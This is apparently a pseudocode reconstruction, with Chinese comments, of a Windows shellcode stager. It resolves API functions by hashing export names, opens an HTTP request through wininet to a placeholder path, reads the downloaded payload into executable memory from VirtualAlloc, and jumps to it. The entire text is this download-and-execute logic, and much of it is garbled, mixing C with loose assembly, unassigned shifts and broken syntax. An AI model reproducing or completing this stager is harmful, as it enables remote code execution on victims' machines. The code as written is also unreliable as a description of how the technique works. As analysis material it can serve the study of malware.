Void Findfunc_andexp(dword bianma, dword canshu, ……){
For(ecx=ntdll模块函数数量;ecx>0;ecx--){
While(al!=0){
Al=*(
VOID
*)esi;
Edi>>13;
Edi=edi+al;
}
If((模块名编码+函数名编码)==需要的函数编码){
Eax=Findfuncaddress();
Pop 编码;
Jmp eax;
Exp(dword canshu, ……);
}
Jmp 20088;
}
}
Void main(……){
Findfunc_andexp(“loadlibrarya的编码”,“wininet”);
Handle_net1= Findfunc_andexp(“internetopenurla”,0,0,0,0,0);
Handle_net2=Findfunc_andexp(“internetconnecta”,Handle_net1,20331h,1c1h,0h,0,3,0,0);
Handle_net3=Findfunc_andexp(“httpopenrequesta”,Handle_net2,0,”/XXXX”,0,0,0,84c03200h)
Findfunc_andexp(“internetsetoptiona”, Handle_net3,1fh,7dff78h,4);
Findfunc_andexp(“HttpSendRequestA”, Handle_net3, ”user-agent:xxxx”, ffffffffh,0,0);
HWND
= Findfunc_andexp(“user32.GetDesktopWindow” );
Findfunc_andexp(“InternetErrorDlg”,10010h, Handle_net3,7efd8800h,7,0);
Startaddress = Findfunc_andexp(“virtualalloc”,0,400000h,1000h,40h);
While(){
Findfunc_andexp(“internetreadfile”, Handle_net3,startaddress,2000h,7dff74h)
}
Void (
void
*)(*startaddress)(
void
);
}